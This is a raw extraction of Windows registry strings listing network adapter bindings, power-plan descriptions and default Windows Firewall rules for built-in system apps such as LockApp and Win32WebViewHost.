\Device\NetBT_Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} p6_{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\LanmanWorkstation_Tcpip6_{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\LanmanWorkstation_NetBT_Tcpip6_{07374750-E68B-490E-9330-9FD785CD71B6} \Device\LanmanWorkstation_Tcpip6_{07374750-E68B-490E-9330-9FD785CD71B6} \Device\LanmanWorkstation_NetbiosSmb \Device\LanmanWorkstation_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\LanmanWorkstation_Tcpip6_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\LanmanWorkstation_NetBT_Tcpip6_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\LanmanWorkstation_NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\LanmanWorkstation_Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\LanmanWorkstation_Tcpip_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\LanmanWorkstation_NetBT_Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\LanmanWorkstation_NetBT_Tcpip_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\NetBT_Tcpip6_{93123211-9629-4E04-82F0-EA2E4F221468} \Device\Tcpip6_{93123211-9629-4E04-82F0-EA2E4F221468} \Device\NetBT_Tcpip6_{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\Tcpip6_{2EE2C70C-A092-4D88-A654-98C8D7645CD5} \Device\NetBT_Tcpip6_{07374750-E68B-490E-9330-9FD785CD71B6} \Device\Tcpip6_{07374750-E68B-490E-9330-9FD785CD71B6} \Device\NetbiosSmb \Device\Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\Tcpip6_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\NetBT_Tcpip6_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\NetBT_Tcpip_{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \Device\Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\Tcpip_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\NetBT_Tcpip6_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\NetBT_Tcpip_{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} lltdio MsLldp Ndisuio RasPppoe RDMANDK rspndr Tcpip Tcpip6 "NetBT" "Tcpip6" "{93123211-9629-4E04-82F0-EA2E4F221468}" "Tcpip6" "{93123211-9629-4E04-82F0-EA2E4F221468}" "NetBT" "Tcpip6" "{2EE2C70C-A092-4D88-A654-98C8D7645CD5}" "Tcpip6" "{2EE2C70C-A092-4D88-A654-98C8D7645CD5}" "NetBT" "Tcpip6" "{07374750-E68B-490E-9330-9FD785CD71B6}" "Tcpip6" "{07374750-E68B-490E-9330-9FD785CD71B6}" "NetbiosSmb" "Tcpip" "{E33FA66E-DBEC-40A2-8AA4-E7C085F48539}" "Tcpip6" "{E33FA66E-DBEC-40A2-8AA4-E7C085F48539}" "NetBT" "Tcpip6" "{E33FA66E-DBEC-40A2-8AA4-E7C085F48539}" "NetBT" "Tcpip" "{E33FA66E-DBEC-40A2-8AA4-E7C085F48539}" "Tcpip6" "{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}" "Tcpip" "{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}" "NetBT" "Tcpip6" "{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}" "NetBT" "Tcpip" "{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}" {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0000 {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}-{3BFD7820-D65C-4C1B-9FEA-983A019639EA}-0000 {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0001 {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}-{B5F4D659-7DAA-4565-8E41-BE220ED60542}-0000 {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0002 {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}-{B70D6460-3635-4D42-B866-B8AB1A24454C}-0000 {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85}-{430BDADD-BAB0-41AB-A369-94B67FA5BE0A}-0003 @%SystemRoot%\system32\powrprof.dll,-1404,Favor energy savings over performance. @%SystemRoot%\system32\powrprof.dll,-1405,Better Battery-life Overlay @%SystemRoot%\system32\powrprof.dll,-10,Saves energy by reducing your computer's performance where possible. @%SystemRoot%\system32\powrprof.dll,-11,Power saver @%SystemRoot%\system32\powrprof.dll,-1402,Maximize bias towards performance instead of energy savings. @%SystemRoot%\system32\powrprof.dll,-1403,Max Performance Overlay @%SystemRoot%\system32\powrprof.dll,-18,Provides ultimate performance on higher end PCs. @%SystemRoot%\system32\powrprof.dll,-19,Ultimate Performance RPCSS v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=6|Profile=Private|LPort=7000|App=C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe|Name=ms-resource:ProductPkgDisplayName|Desc=ms-resource:ProductPkgDisplayName|EmbedCtxt={78E1CD88-49E3-476E-B926-580E596AD309}| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|Profile=Public|LPort=7000|App=C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe|Name=ms-resource:ProductPkgDisplayName|Desc=ms-resource:ProductPkgDisplayName|EmbedCtxt={78E1CD88-49E3-476E-B926-580E596AD309}| v2.33|Action=Allow|Active=TRUE|Dir=In|Protocol=17|Profile=Private|LPort=7000|App=C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe|Name=ms-resource:ProductPkgDisplayName|Desc=ms-resource:ProductPkgDisplayName|EmbedCtxt={78E1CD88-49E3-476E-B926-580E596AD309}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Protocol=6|Profile=Public|LPort=7000|App=C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\OobeHostApp.exe|Name=ms-resource:Prod v2.33|AppPkgId=S-1-15-2-1255970798-2717750985-493741290-1721212560-3530798636-1829112236-3118580706|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-1255970798-2717750985-493741290-1721212560-3530798636-1829112236-3118580706|M=Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy|Name=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|Desc=@{Microsoft.Windows.Apprep.ChxApp_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.Apprep.ChxApp/resources/DisplayName}|D=C:\Windows\SystemApps\Microsoft.Windows.AppRep.ChxApp_cw5n1h2txyewy\|PFN=Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy| W. Europe Standard Time v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.AsyncTextService/Resources/AppDisplayName}|Desc=@{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.AsyncTextService/Resources/AppDisplayName}|PFN=Microsoft.AsyncTextService_8wekyb3d8bbwe|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.AsyncTextService/Resources/AppDisplayName}| v2.33|AppPkgId=S-1-15-2-284907560-3695622717-2124867970-90980536-1928201052-1028515541-1033863524|LUOwn=S-1-5-18|C=S-1-15-3-284907560-3695622717-2124867970-90980536-1928201052-1028515541-1033863524|M=Microsoft.AsyncTextService_8wekyb3d8bbwe|Name=@{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.AsyncTextService/Resources/AppDisplayName}|Desc=@{Microsoft.AsyncTextService_10.0.26100.1_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.AsyncTextService/Resources/AppDisplayName}|D=C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\|PFN=Microsoft.AsyncTextService_8wekyb3d8bbwe| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}|Desc=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}|PFN=Microsoft.BioEnrollment_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}|Desc=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}|PFN=Microsoft.BioEnrollment_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}| v2.33|AppPkgId=S-1-15-2-19479607-1015771884-3827151630-3301822711-2267158487-4079414233-1230461222|LUOwn=S-1-5-18|C=S-1-15-3-19479607-1015771884-3827151630-3301822711-2267158487-4079414233-1230461222|M=Microsoft.BioEnrollment_cw5n1h2txyewy|Name=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}|Desc=@{Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.BioEnrollment/Resources/AppDisplayName}|D=C:\Windows\SystemApps\Microsoft.BioEnrollment_cw5n1h2txyewy\|PFN=Microsoft.BioEnrollment_cw5n1h2txyewy| v2.33|Action=Block|Active=TRUE|Dir=In|Name=CapturePicker|Desc=CapturePicker|PFN=Microsoft.Windows.CapturePicker_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=CapturePicker| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.ECApp/Resources/AppDisplayName}|Desc=@{Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.ECApp/Resources/AppDisplayName}|PFN=Microsoft.ECApp_8wekyb3d8bbwe|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.ECApp/Resources/AppDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}|Desc=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}|PFN=Microsoft.CredDialogHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}|Desc=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}|PFN=Microsoft.CredDialogHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}| v2.33|AppPkgId=S-1-15-2-932905279-1352884144-690731472-1935380077-77221151-3040906485-3167188873|LUOwn=S-1-5-18|C=S-1-15-3-8|C=S-1-15-3-932905279-1352884144-690731472-1935380077-77221151-3040906485-3167188873|M=Microsoft.CredDialogHost_cw5n1h2txyewy|Name=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}|Desc=@{Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy?ms-resource://Microsoft.CredDialogHost/Resources/AppDisplayName}|D=C:\Windows\SystemApps\microsoft.creddialoghost_cw5n1h2txyewy\|PFN=Microsoft.CredDialogHost_cw5n1h2txyewy| v2.33|AppPkgId=S-1-15-2-3912597219-1073764063-4221279274-2430493127-3107599948-1184173955-951593363|LUOwn=S-1-5-18|C=S-1-15-3-3912597219-1073764063-4221279274-2430493127-3107599948-1184173955-951593363|M=Microsoft.ECApp_8wekyb3d8bbwe|Name=@{Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.ECApp/Resources/AppDisplayName}|Desc=@{Microsoft.ECApp_10.0.26100.4061_neutral__8wekyb3d8bbwe?ms-resource://Microsoft.ECApp/Resources/AppDisplayName}|D=C:\Windows\SystemApps\Microsoft.ECApp_8wekyb3d8bbwe\|PFN=Microsoft.ECApp_8wekyb3d8bbwe| 3ea2ea22 aa8ab071sp v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|Desc=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|PFN=Microsoft.LockApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=CapturePicker|Desc=CapturePicker|PFN=Microsoft.Windows.CapturePicker_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=CapturePicker| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|Desc=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|PFN=Microsoft.LockApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|Desc=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|PFN=Microsoft.LockApp_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-1)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|Desc=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|PFN=Microsoft.LockApp_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|AppPkgId=S-1-15-2-2758101530-1321080646-1475665648-4066602542-2880396197-3643791541-2654759312|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-2758101530-1321080646-1475665648-4066602542-2880396197-3643791541-2654759312|M=Microsoft.LockApp_cw5n1h2txyewy|Name=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|Desc=@{Microsoft.LockApp_10.0.26100.4202_neutral__cw5n1h2txyewy?ms-resource://Microsoft.LockApp/resources/AppDisplayName}|D=C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\|PFN=Microsoft.LockApp_cw5n1h2txyewy| v2.33|AppPkgId=S-1-15-2-2652307757-2298579837-578647688-3387406430-2756081349-614783772-2601174805|LUOwn=S-1-5-18|C=S-1-15-3-2652307757-2298579837-578647688-3387406430-2756081349-614783772-2601174805|M=Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy|Name=PinningConfirmationDialog|Desc=PinningConfirmationDialog|D=C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\|PFN=Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/DisplayName}|Desc=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/Description}|PFN=Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/DisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/DisplayName}|Desc=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/Description}|PFN=Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/DisplayName}| v2.33|AppPkgId=S-1-15-2-1862275542-1254060742-1006630753-971163975-25177346-1977832528-4247160915|LUOwn=S-1-5-18|C=S-1-15-3-1862275542-1254060742-1006630753-971163975-25177346-1977832528-4247160915|M=Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe|Name=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/DisplayName}|Desc=@{Microsoft.MicrosoftEdgeDevToolsClient_1000.25128.1000.0_neutral_neutral_8wekyb3d8bbwe?ms-resource://Microsoft.MicrosoftEdgeDevToolsClient/resources/Description}|D=C:\Windows\SystemApps\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\|PFN=Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe| v2.33|Action=Block|Active=TRUE|Dir=In|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}| v2.33|Action=Block|Active=TRUE|Dir=Out|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntrAnet|RA62=IntrAnet|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Private|Profile=Public|RA42=RmtIntrAnet|RA62=RmtIntrAnet|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-3)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Security=Authenticate| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-2)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|RA42=IntErnet|RA62=IntErnet|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUAuth=O:LSD:(A;;CC;;;S-1-15-3-2)(A;;CC;;;WD)(A;;CC;;;AN)|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}| v2.33|Action=Allow|Active=TRUE|Dir=Out|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Platform=2:6:2|Platform2=GTEQ| v2.33|Action=Allow|Active=TRUE|Dir=In|Profile=Domain|Profile=Private|Profile=Public|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy|LUOwn=S-1-5-18|EmbedCtxt=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Platform=2:6:2|Platform2=GTEQ|Edge=TRUE| v2.33|AppPkgId=S-1-15-2-1310292540-1029022339-4008023048-2190398717-53961996-4257829345-603366646|LUOwn=S-1-5-18|C=S-1-15-3-1|C=S-1-15-3-2|C=S-1-15-3-3|C=S-1-15-3-8|C=S-1-15-3-9|C=S-1-15-3-1310292540-1029022339-4008023048-2190398717-53961996-4257829345-603366646|M=Microsoft.Win32WebViewHost_cw5n1h2txyewy|Name=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/DisplayName}|Desc=@{Microsoft.Win32WebViewHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}|D=C:\Windows\SystemApps\Microsoft.Win32WebViewHost_cw5n1h2txyewy\|PFN=Microsoft.Win32WebViewHost_cw5n1h2txyewy| 